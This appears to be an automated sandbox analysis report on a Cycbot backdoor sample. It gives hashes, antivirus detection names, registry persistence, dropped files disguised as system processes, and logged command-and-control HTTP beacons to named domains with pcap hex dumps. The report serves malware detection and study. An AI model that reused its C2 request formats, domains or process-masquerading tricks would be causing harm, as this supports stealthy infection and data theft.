Analysis Date2014-06-15 03:26:51
MD5620643fbe7a99391cb85322b101deb2d
SHA1ad75d1566978a24515babf0793e2cf6900c6704d

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: bbb043790f944a576a95cd4d5fa04d73 sha1: 02d0773aff3fb72c2e19495d47d2bf90564edb2e size: 101376
Section.tls md5: 0e00266decf99a46633fed7f3b1f3a29 sha1: ce87f41796f60944c3c35f02e8069a9252b98a97 size: 1536
Section.data md5: 2f0de17e5fcd573122b1e62dfc8f9cf8 sha1: 7fb01a1a7a65f31ee33265dc006da36b90949f20 size: 64512
Section.reloc md5: 6a876364ec78143e4726a1c330002506 sha1: 4cad7bff6ad765f0627654daae190c614cfa935c size: 1024
Timestamp2005-10-21 16:28:49
PEhash9a2ed8c5855253fab4ffa487a3406704ee2a1beb
IMPhashce78ceac0796e021957e67521b0c3817
AV360 SafeGen:Heur.Conjar.9
AVAd-AwareGen:Heur.Conjar.9
AVAlwil (avast)Cybota [Trj]
AVArcabit (arcavir)no_virus
AVAuthentiumW32/Goolbot.J.gen!Eldorado
AVAvira (antivir)TR/Crypt.XPACK.Gen
AVCA (E-Trust Ino)Win32/FakeAlert.J!generic
AVCAT (quickheal)Backdoor.Cycbot.B
AVClamAVWin.Trojan.Agent-98656
AVDr. WebTrojan.DownLoader4.12811
AVEmsisoftGen:Heur.Conjar.9
AVEset (nod32)Win32/Cycbot.AF
AVFortinetW32/Cycbot.AF!tr.dldr
AVFrisk (f-prot)W32/Goolbot.J.gen!Eldorado (generic, not disinfectable)
AVF-SecureGen:Heur.Conjar.9
AVGrisoft (avg)Agent_r.ALA
AVIkarusBackdoor.Win32.Cycbot
AVKasperskyTrojan.Win32.Generic
AVMalwareBytesBackdoor.Bot
AVMcafeeBackDoor-EXI.gen.k
AVMicrosoft Security EssentialsBackdoor:Win32/Cycbot.G
AVMicroWorld (escan)Gen:Heur.Conjar.9
AVNormanwinpe/Cycbot.DC
AVRisingTrojan.Win32.Generic.133279B4
AVSophosTroj/FakeAV-EFL
AVSymantecBackdoor.Cycbot!gen4
AVTrend MicroBKDR_CYCBOT.SME3
AVVirusBlokAda (vba32)no_virus

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
1
RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\conhost ➝
C:\Documents and Settings\Administrator\Application Data\Microsoft\conhost.exe
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Application Data\75DE.FFC
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Application Data\Microsoft\conhost.exe
Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe
Creates ProcessC:\malware.exe startC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe%C:\Documents and Settings\Administrator\Local Settings\Temp
Creates ProcessC:\malware.exe startC:\Documents and Settings\Administrator\Application Data\dwm.exe%C:\Documents and Settings\Administrator\Application Data
Creates Mutex{A5B35993-9674-43cd-8AC7-5BC5013E617B}
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutex{1ACD3490-8843-47EB-867B-EDDDD7FA37FD}
Creates Mutex{61B98B86-5F44-42b3-BCA1-33904B067B81}
Creates Mutex{0ECE180F-6E9E-4FA6-A154-6876D9DB8906}
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates Mutex{B5B35993-9674-43cd-8AC7-5BC5013E617B}
Creates Mutex{B16C7E24-B3B8-4962-BF5E-4B33FD2DFE78}
Creates Mutex{B37C48AF-B05C-4520-8B38-2FE181D5DC78}
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Creates Mutex{6988405C-71C3-427c-975A-0398706E79EE}
Winsock DNS127.0.0.1
Winsock DNShollandandbarrett.com
Winsock DNShappyratatuy.com
Winsock DNSmysmallhomespace.com

Process
↳ C:\malware.exe startC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe%C:\Documents and Settings\Administrator\Local Settings\Temp

Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe

Process
↳ C:\malware.exe startC:\Documents and Settings\Administrator\Application Data\dwm.exe%C:\Documents and Settings\Administrator\Application Data

Creates ProcessC:\Documents and Settings\Administrator\Application Data\dwm.exe

Process
↳ C:\Documents and Settings\Administrator\Application Data\dwm.exe

Network Details:

DNShollandandbarrett.com
Type: A
213.62.84.113
DNSzonedg.com
Type: A
208.73.211.168
DNSzonedg.com
Type: A
208.73.211.165
DNSzonedg.com
Type: A
208.73.210.218
DNSzonedg.com
Type: A
208.73.210.215
DNSzonedg.com
Type: A
208.73.211.175
DNSzonedg.com
Type: A
208.73.211.175
DNSzonedg.com
Type: A
208.73.211.168
DNSzonedg.com
Type: A
208.73.211.165
DNSzonedg.com
Type: A
208.73.210.218
DNSzonedg.com
Type: A
208.73.210.215
DNSmysmallhomespace.com
Type: A
DNShappyratatuy.com
Type: A
HTTP GEThttp://hollandandbarrett.com/images/footer/account.jpg?v92=22&tq=gHZutDyMv5rJejLia9nrmsl6giWz%2BJZbVyA%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMf1tX%2BP9h%2BI0sDkX9PiwrWL2GUr0%2BbGpfvRsX%2BaIwb51gW1f447GrXf0eU2S%2BsSodOFuTLiv0agDh2xP6PLEqwaCGkrl%2F7LdBPNpPpTuxq00sD0OpLjRqAOhLgjh88y%2BcoJtX%2BSNxFKv975Xlm5G
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMf1tX%2BP9h%2BI0sDkX9PiwrWL2GUr0%2BbGpfvRsX%2BaIwb51gW1f447GrXf0eU2S%2BsSodOFuTLiv0agDh2xP6PLEqwaCGkrl%2F7LdBPNpPpTuxq00sD0OpLjRqAOhLgjh%2FMe%2BcoJuX%2BSNxVKv975Xlm5G
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMf1tX%2BP9h%2BI0sDkX9PiwrWL2GUr0%2BbGpfvRsX%2BaIwb51gW1f447GrXf0eU2S%2BsSodOFuTLiv0agDh2xP6PLEqwaCGkrl%2F7LdBPNpPpTuxq00sD0OpLjRqAOhLgjh88y%2BcoJuX%2BSNxFKv975Xlm5G
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMf1tX%2BP9h%2BI0sDkX9PiwrWL2GUr0%2BbGpfvRsX%2BaIwb51gW1f447GrXf0eU2S%2BsSodOFuTLiv0agDh2xP6PLEqwaCGkrl%2F7LdBPNpPpTuxq00sD0OpLjRqAOhLgjh%2FMe%2BcoJuX%2BSNxlKv975Xlm5G
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMf1tX%2BP9h%2BI0sDkX9PiwrWL2GUr0%2BbGpfvRsX%2BaIwb51gW1f447GrXf0eU2S%2BsSodOFuTLiv0agDh2xP6PLEqwaCGkrl%2F7LdBPNpPpTuxq00sD0OpLjRqAOhLgjh88BSr%2Fe%2BV5ZuRg%3D%3D
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMf1tX%2BP9h%2BI0sDkX9PiwrWL2GUr0%2BbGpfvRsX%2BaIwb51gW1f447GrXf0eU2S%2BsSodOFuTLiv0agDh2xP6PLEqwaCGkrl%2F7LdBPNpPpTuxq00sD0OpLjRqAOhLgjh8sG%2BcoJuX%2BSNx1Kv975Xlm5G
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMf1tX%2BP9h%2BI0sDkX9PiwrWL2GUr0%2BbGpfvRsX%2BaIwb51gW1f447GrXf0eU2S%2BsSodOFuTLiv0agDh2xP6PLEqwaCGkrl%2F7LdBPNpPpTuxq00sD0OpLjRqAOhLgjh%2F82%2BcoJsX%2BSNxr5ygm1C4lKv975Xlm5G
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Flows TCP192.168.1.1:1031 ➝ 213.62.84.113:80
Flows TCP192.168.1.1:1032 ➝ 208.73.211.168:80
Flows TCP192.168.1.1:1033 ➝ 208.73.211.175:80
Flows TCP192.168.1.1:1034 ➝ 208.73.211.175:80
Flows TCP192.168.1.1:1035 ➝ 208.73.211.175:80
Flows TCP192.168.1.1:1036 ➝ 208.73.211.175:80
Flows TCP192.168.1.1:1037 ➝ 208.73.211.175:80
Flows TCP192.168.1.1:1038 ➝ 208.73.211.175:80

Raw Pcap
0x00000000 (00000)   47455420 2f696d61 6765732f 666f6f74   GET /images/foot
0x00000010 (00016)   65722f61 63636f75 6e742e6a 70673f76   er/account.jpg?v
0x00000020 (00032)   39323d32 32267471 3d67485a 75744479   92=22&tq=gHZutDy
0x00000030 (00048)   4d763572 4a656a4c 6961396e 726d736c   Mv5rJejLia9nrmsl
0x00000040 (00064)   36676957 7a253242 4a5a6256 79412533   6giWz%2BJZbVyA%3
0x00000050 (00080)   44204854 54502f31 2e300d0a 436f6e6e   D HTTP/1.0..Conn
0x00000060 (00096)   65637469 6f6e3a20 636c6f73 650d0a48   ection: close..H
0x00000070 (00112)   6f73743a 20686f6c 6c616e64 616e6462   ost: hollandandb
0x00000080 (00128)   61727265 74742e63 6f6d0d0a 41636365   arrett.com..Acce
0x00000090 (00144)   70743a20 2a2f2a0d 0a557365 722d4167   pt: */*..User-Ag
0x000000a0 (00160)   656e743a 206d6f7a 696c6c61 2f322e30   ent: mozilla/2.0
0x000000b0 (00176)   0d0a0d0a                              ....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   31745825 32425039 68253242 49307344   1tX%2BP9h%2BI0sD
0x00000040 (00064)   6b583950 69777257 4c324755 72302532   kX9PiwrWL2GUr0%2
0x00000050 (00080)   42624770 66765273 58253242 61497762   BbGpfvRsX%2BaIwb
0x00000060 (00096)   35316757 31663434 37477258 66306555   51gW1f447GrXf0eU
0x00000070 (00112)   32532532 4273536f 644f4675 544c6976   2S%2BsSodOFuTLiv
0x00000080 (00128)   30616744 68327850 36504c45 71776143   0agDh2xP6PLEqwaC
0x00000090 (00144)   476b726c 25324637 4c644250 4e705070   Gkrl%2F7LdBPNpPp
0x000000a0 (00160)   54757871 30307344 304f704c 6a527141   Tuxq00sD0OpLjRqA
0x000000b0 (00176)   4f684c67 6a683838 79253242 636f4a74   OhLgjh88y%2BcoJt
0x000000c0 (00192)   58253242 534e7846 4b763937 35586c6d   X%2BSNxFKv975Xlm
0x000000d0 (00208)   35472048 5454502f 312e310d 0a486f73   5G HTTP/1.1..Hos
0x000000e0 (00224)   743a207a 6f6e6564 672e636f 6d0d0a55   t: zonedg.com..U
0x000000f0 (00240)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000100 (00256)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000110 (00272)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000120 (00288)   6e646f77 73204e54 20352e31 290d0a43   ndows NT 5.1)..C
0x00000130 (00304)   6f6e7465 6e742d4c 656e6774 683a2030   ontent-Length: 0
0x00000140 (00320)   0d0a436f 6e6e6563 74696f6e 3a20636c   ..Connection: cl
0x00000150 (00336)   6f73650d 0a0d0a                       ose....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   31745825 32425039 68253242 49307344   1tX%2BP9h%2BI0sD
0x00000040 (00064)   6b583950 69777257 4c324755 72302532   kX9PiwrWL2GUr0%2
0x00000050 (00080)   42624770 66765273 58253242 61497762   BbGpfvRsX%2BaIwb
0x00000060 (00096)   35316757 31663434 37477258 66306555   51gW1f447GrXf0eU
0x00000070 (00112)   32532532 4273536f 644f4675 544c6976   2S%2BsSodOFuTLiv
0x00000080 (00128)   30616744 68327850 36504c45 71776143   0agDh2xP6PLEqwaC
0x00000090 (00144)   476b726c 25324637 4c644250 4e705070   Gkrl%2F7LdBPNpPp
0x000000a0 (00160)   54757871 30307344 304f704c 6a527141   Tuxq00sD0OpLjRqA
0x000000b0 (00176)   4f684c67 6a682532 464d6525 3242636f   OhLgjh%2FMe%2Bco
0x000000c0 (00192)   4a755825 3242534e 78564b76 39373558   JuX%2BSNxVKv975X
0x000000d0 (00208)   6c6d3547 20485454 502f312e 310d0a48   lm5G HTTP/1.1..H
0x000000e0 (00224)   6f73743a 207a6f6e 6564672e 636f6d0d   ost: zonedg.com.
0x000000f0 (00240)   0a557365 722d4167 656e743a 204d6f7a   .User-Agent: Moz
0x00000100 (00256)   696c6c61 2f342e30 2028636f 6d706174   illa/4.0 (compat
0x00000110 (00272)   69626c65 3b204d53 49452036 2e303b20   ible; MSIE 6.0; 
0x00000120 (00288)   57696e64 6f777320 4e542035 2e31290d   Windows NT 5.1).
0x00000130 (00304)   0a436f6e 74656e74 2d4c656e 6774683a   .Content-Length:
0x00000140 (00320)   20300d0a 436f6e6e 65637469 6f6e3a20    0..Connection: 
0x00000150 (00336)   636c6f73 650d0a0d 0a72202f 3e0a2020   close....r />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   31745825 32425039 68253242 49307344   1tX%2BP9h%2BI0sD
0x00000040 (00064)   6b583950 69777257 4c324755 72302532   kX9PiwrWL2GUr0%2
0x00000050 (00080)   42624770 66765273 58253242 61497762   BbGpfvRsX%2BaIwb
0x00000060 (00096)   35316757 31663434 37477258 66306555   51gW1f447GrXf0eU
0x00000070 (00112)   32532532 4273536f 644f4675 544c6976   2S%2BsSodOFuTLiv
0x00000080 (00128)   30616744 68327850 36504c45 71776143   0agDh2xP6PLEqwaC
0x00000090 (00144)   476b726c 25324637 4c644250 4e705070   Gkrl%2F7LdBPNpPp
0x000000a0 (00160)   54757871 30307344 304f704c 6a527141   Tuxq00sD0OpLjRqA
0x000000b0 (00176)   4f684c67 6a683838 79253242 636f4a75   OhLgjh88y%2BcoJu
0x000000c0 (00192)   58253242 534e7846 4b763937 35586c6d   X%2BSNxFKv975Xlm
0x000000d0 (00208)   35472048 5454502f 312e310d 0a486f73   5G HTTP/1.1..Hos
0x000000e0 (00224)   743a207a 6f6e6564 672e636f 6d0d0a55   t: zonedg.com..U
0x000000f0 (00240)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000100 (00256)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000110 (00272)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000120 (00288)   6e646f77 73204e54 20352e31 290d0a43   ndows NT 5.1)..C
0x00000130 (00304)   6f6e7465 6e742d4c 656e6774 683a2030   ontent-Length: 0
0x00000140 (00320)   0d0a436f 6e6e6563 74696f6e 3a20636c   ..Connection: cl
0x00000150 (00336)   6f73650d 0a0d0a                       ose....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   31745825 32425039 68253242 49307344   1tX%2BP9h%2BI0sD
0x00000040 (00064)   6b583950 69777257 4c324755 72302532   kX9PiwrWL2GUr0%2
0x00000050 (00080)   42624770 66765273 58253242 61497762   BbGpfvRsX%2BaIwb
0x00000060 (00096)   35316757 31663434 37477258 66306555   51gW1f447GrXf0eU
0x00000070 (00112)   32532532 4273536f 644f4675 544c6976   2S%2BsSodOFuTLiv
0x00000080 (00128)   30616744 68327850 36504c45 71776143   0agDh2xP6PLEqwaC
0x00000090 (00144)   476b726c 25324637 4c644250 4e705070   Gkrl%2F7LdBPNpPp
0x000000a0 (00160)   54757871 30307344 304f704c 6a527141   Tuxq00sD0OpLjRqA
0x000000b0 (00176)   4f684c67 6a682532 464d6525 3242636f   OhLgjh%2FMe%2Bco
0x000000c0 (00192)   4a755825 3242534e 786c4b76 39373558   JuX%2BSNxlKv975X
0x000000d0 (00208)   6c6d3547 20485454 502f312e 310d0a48   lm5G HTTP/1.1..H
0x000000e0 (00224)   6f73743a 207a6f6e 6564672e 636f6d0d   ost: zonedg.com.
0x000000f0 (00240)   0a557365 722d4167 656e743a 204d6f7a   .User-Agent: Moz
0x00000100 (00256)   696c6c61 2f342e30 2028636f 6d706174   illa/4.0 (compat
0x00000110 (00272)   69626c65 3b204d53 49452036 2e303b20   ible; MSIE 6.0; 
0x00000120 (00288)   57696e64 6f777320 4e542035 2e31290d   Windows NT 5.1).
0x00000130 (00304)   0a436f6e 74656e74 2d4c656e 6774683a   .Content-Length:
0x00000140 (00320)   20300d0a 436f6e6e 65637469 6f6e3a20    0..Connection: 
0x00000150 (00336)   636c6f73 650d0a0d 0a202047 6b726c25   close....  Gkrl%
0x00000160 (00352)   3246374c 6442504e 7050700a            2F7LdBPNpPp.

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   31745825 32425039 68253242 49307344   1tX%2BP9h%2BI0sD
0x00000040 (00064)   6b583950 69777257 4c324755 72302532   kX9PiwrWL2GUr0%2
0x00000050 (00080)   42624770 66765273 58253242 61497762   BbGpfvRsX%2BaIwb
0x00000060 (00096)   35316757 31663434 37477258 66306555   51gW1f447GrXf0eU
0x00000070 (00112)   32532532 4273536f 644f4675 544c6976   2S%2BsSodOFuTLiv
0x00000080 (00128)   30616744 68327850 36504c45 71776143   0agDh2xP6PLEqwaC
0x00000090 (00144)   476b726c 25324637 4c644250 4e705070   Gkrl%2F7LdBPNpPp
0x000000a0 (00160)   54757871 30307344 304f704c 6a527141   Tuxq00sD0OpLjRqA
0x000000b0 (00176)   4f684c67 6a683838 42537225 32466525   OhLgjh88BSr%2Fe%
0x000000c0 (00192)   32425635 5a755267 25334425 33442048   2BV5ZuRg%3D%3D H
0x000000d0 (00208)   5454502f 312e310d 0a486f73 743a207a   TTP/1.1..Host: z
0x000000e0 (00224)   6f6e6564 672e636f 6d0d0a55 7365722d   onedg.com..User-
0x000000f0 (00240)   4167656e 743a204d 6f7a696c 6c612f34   Agent: Mozilla/4
0x00000100 (00256)   2e302028 636f6d70 61746962 6c653b20   .0 (compatible; 
0x00000110 (00272)   4d534945 20362e30 3b205769 6e646f77   MSIE 6.0; Window
0x00000120 (00288)   73204e54 20352e31 290d0a43 6f6e7465   s NT 5.1)..Conte
0x00000130 (00304)   6e742d4c 656e6774 683a2030 0d0a436f   nt-Length: 0..Co
0x00000140 (00320)   6e6e6563 74696f6e 3a20636c 6f73650d   nnection: close.
0x00000150 (00336)   0a0d0a0d 0a0d0a                       .......

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   31745825 32425039 68253242 49307344   1tX%2BP9h%2BI0sD
0x00000040 (00064)   6b583950 69777257 4c324755 72302532   kX9PiwrWL2GUr0%2
0x00000050 (00080)   42624770 66765273 58253242 61497762   BbGpfvRsX%2BaIwb
0x00000060 (00096)   35316757 31663434 37477258 66306555   51gW1f447GrXf0eU
0x00000070 (00112)   32532532 4273536f 644f4675 544c6976   2S%2BsSodOFuTLiv
0x00000080 (00128)   30616744 68327850 36504c45 71776143   0agDh2xP6PLEqwaC
0x00000090 (00144)   476b726c 25324637 4c644250 4e705070   Gkrl%2F7LdBPNpPp
0x000000a0 (00160)   54757871 30307344 304f704c 6a527141   Tuxq00sD0OpLjRqA
0x000000b0 (00176)   4f684c67 6a683873 47253242 636f4a75   OhLgjh8sG%2BcoJu
0x000000c0 (00192)   58253242 534e7831 4b763937 35586c6d   X%2BSNx1Kv975Xlm
0x000000d0 (00208)   35472048 5454502f 312e310d 0a486f73   5G HTTP/1.1..Hos
0x000000e0 (00224)   743a207a 6f6e6564 672e636f 6d0d0a55   t: zonedg.com..U
0x000000f0 (00240)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000100 (00256)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000110 (00272)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000120 (00288)   6e646f77 73204e54 20352e31 290d0a43   ndows NT 5.1)..C
0x00000130 (00304)   6f6e7465 6e742d4c 656e6774 683a2030   ontent-Length: 0
0x00000140 (00320)   0d0a436f 6e6e6563 74696f6e 3a20636c   ..Connection: cl
0x00000150 (00336)   6f73650d 0a0d0a66 2020204f 684c676a   ose....f   OhLgj
0x00000160 (00352)   68253246 4d652532 42636f0a            h%2FMe%2Bco.

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   31745825 32425039 68253242 49307344   1tX%2BP9h%2BI0sD
0x00000040 (00064)   6b583950 69777257 4c324755 72302532   kX9PiwrWL2GUr0%2
0x00000050 (00080)   42624770 66765273 58253242 61497762   BbGpfvRsX%2BaIwb
0x00000060 (00096)   35316757 31663434 37477258 66306555   51gW1f447GrXf0eU
0x00000070 (00112)   32532532 4273536f 644f4675 544c6976   2S%2BsSodOFuTLiv
0x00000080 (00128)   30616744 68327850 36504c45 71776143   0agDh2xP6PLEqwaC
0x00000090 (00144)   476b726c 25324637 4c644250 4e705070   Gkrl%2F7LdBPNpPp
0x000000a0 (00160)   54757871 30307344 304f704c 6a527141   Tuxq00sD0OpLjRqA
0x000000b0 (00176)   4f684c67 6a682532 46383225 3242636f   OhLgjh%2F82%2Bco
0x000000c0 (00192)   4a735825 3242534e 78723579 676d3143   JsX%2BSNxr5ygm1C
0x000000d0 (00208)   346c4b76 39373558 6c6d3547 20485454   4lKv975Xlm5G HTT
0x000000e0 (00224)   502f312e 310d0a48 6f73743a 207a6f6e   P/1.1..Host: zon
0x000000f0 (00240)   6564672e 636f6d0d 0a557365 722d4167   edg.com..User-Ag
0x00000100 (00256)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x00000110 (00272)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x00000120 (00288)   49452036 2e303b20 57696e64 6f777320   IE 6.0; Windows 
0x00000130 (00304)   4e542035 2e31290d 0a436f6e 74656e74   NT 5.1)..Content
0x00000140 (00320)   2d4c656e 6774683a 20300d0a 436f6e6e   -Length: 0..Conn
0x00000150 (00336)   65637469 6f6e3a20 636c6f73 650d0a0d   ection: close...
0x00000160 (00352)   0a                                    .


Strings
.
,.
..
.
scd
z
.~
.!

080904b0
1.0.0.1
1619
FileVersion
&No Exit  Shift+N
PrivateBuild
ProductVersion
StringFileInfo
Translation
VarFileInfo
VS_VERSION_INFO
&Yes
0AT=ln!5
\0h,1Z
\<0h'Bh
0h@ha h
0h"hBh$
\0h:Hu	<
$0hLEE6
?{0hlU
0huph:Y
\0hVBh
:~#	!&1
1>E_?x
1)@hRh
\1rhmh`h5
,1se<3M
2hBh(N
~;2h.e:
2h;`hUF%9G
2hhV7Bh
2h{?	;X
2Ws@@Y[
#3ph|W
3qbhXw
3"UT<p
,43keFrt(
48NERh
]4}@|DVf
4kO4 h
+4m`hf
4-thsS
54sVe=
5`h@h>n
5rh9Z+
5|Wiz}
,5_;y;
'>5yWyv
65 oSN
)(65rh
/68'Ph
6Rh>xM
7=2h h
\!7%72
-7%fcb
:7gN6}6
7Rhxoa
7.Rich
7:TUUd
8a+\6L
8G-Bh%
%8@h}}6
!8(liuW
#8L-Kx
9B2pf|.
9@hBhijcK
9In	aI
9uC+{aJs
"<9U(U
9ZkPh4{
~a,3"ha
a?5S;AH
a79s`p
ABh8e;aS
(ADVBhQ
AlphaBlend
`Ao	pZ
Aphph<
ARCzaS4
)${AT%
AtBhVg?
b~0X{V 
b0[zIA-
bh2hG]&F
$BhG_1
&bh_&	H
bh"hph
bhJ!Ye
bh>Nbh
^Bho(Gl
BhqUWa
BjCB,e
BM:[zk
C%-a@?
CaWMSw
CBh=%j
	ccXrh
C.>gSR
c^lb&z
CoCreateInstance
CoGetMalloc
CoTaskMemAlloc
CoTaskMemFree
CoTaskMemRealloc
CreateFontIndirectA
CS;"hD
CzG h|
%d3gm3
@.data
dbhU{3
dbkb:&Z
D\>cPh_
@Dd8sq
DE/9:!
DeleteCriticalSection
DeleteObject
D<_@h h
',DHT`h4
dl hYM
?DlPNN`*
@|dN#ga
DphCNJUkqy
d_r/#R
DVM"h8
[d'y~rh
.;e2hrh0h
eluc%[qPh
%e	MC32
E,n^HHW
EnterCriticalSection
EnumResourceTypesA
\epEpR
eX*>RhC6kE
ey.PhEZ
F]0h2h#
f3>u;$
Fds@G>
fIJ*bh
F.kLLK
f(O?Lrh_
FreeEnvironmentStringsA
FreeEnvironmentStringsW
$f\udcQ
fvr|_fP
F#y>Rh
G~'.,>
g0hUg{zD
.G47jS
&G>6[g
GBhbhA
g	C#;ri
GDI32.dll
GetACP
GetCPInfo
GetCPInfoExW
GetCurrentProcessId
GetDeviceCaps
GetEnvironmentStrings
GetEnvironmentStringsW
GetFileType
GetLastError
GetLocaleInfoA
GetOEMCP
GetStartupInfoA
GetStdHandle
GetTextExtentPointA
GetTextMetricsA
GetThreadLocale
GetTickCount
GetVersionExA
G_>Q=-
GVql9 
]h2.dlU
 h<++2h
h[2h2hg
@h2hd=
@h:2h"h
h2hK(&
H2hlx,eD
h<3Hrh
h=3:n%
|[@h4rh?
h4urhm
h5l"ho
`h6@h|G^,
`h6lvh
h7h99M
H8W.<Y
h9T'>ceOk"h]M[Z
h&	;a,
ha>0h]&"hE
h]aOGW/
haT0h7
,?`hBh8
hBhbh$
>"hbhd
h(BhGY,1
hbhh98
hbh"hs.s~ h
h?BhqL
hBht	ZMq
hC<_Ibh&]
hC,t@h
"hcXDRh
"hDeUU
h,D"h;`h,E\
hD	#"hV
@hDTgRh
h]DW2h0h<Z
hE9NPhD*
HeapSize
hFphm9f
 H_gEs
`h-GF4
hgttph
H:gwXN
hg{ycV
h\h3\7
h-"h h
*"hhph
`h`hWZ
h h?Zeo
@hi3"h
hi!idw2
hj('hQ
h:JmABh
h/KD#G
@hKPhN
hl h-$]:W
hmG?[q
hm h2h
*HMX@hQg
hNE)%S
\"hnSrh
@h#?NU
\@hO0h
h#OmHa
ho%s1g5yK
h:ph^}
`hPh%?7
hph:<DtV
h?phfVWph
hph`h/
h'phph
hPh*T9l
hphV/H
hphW\#
hqF`h8Bh
"hq@hj
hqweRh
hRh2h h
h#Rhbh
hrhbhwl
h[Rhd;
hRhea) h
h	}rhT
`h{RhT61
h#Rh>u
hs+2hph
@hSo hq9
 h'S<Q
hTeNPh/
h,Tphl
httRhA
htT-Z3NPh$ h
hTwc|acs
hT+Z>Z
Hu,`h)
`hV"hL
h(~vjoo
hW;"hiph#
@h<;WO$Q
@h*x*`h49
hx>_J3
hX~RhKx
h~y8Qc
hy^ hph
hyrhh3;
h)zbhAt
hzMphrh
InitializeCriticalSection
InterlockedExchange
InterlockedIncrement
i[S<G5
iS:z95
	IT@>C
@(^I^X<
j(:~1c
%j8!vl
j?Jg^Y
jLnbhu
JmEq^Ph
j|'nWBh
jrh~j7/q!
=j-tbh
+*JvM*
J)VPU3
K5Mq3,
)K7?F`Bj0
KBh h-
KERNEL32.dll
k@hD> h
k`hj#Bh
kh_.SU	
kI@D=(
kphi<;
& >K\q
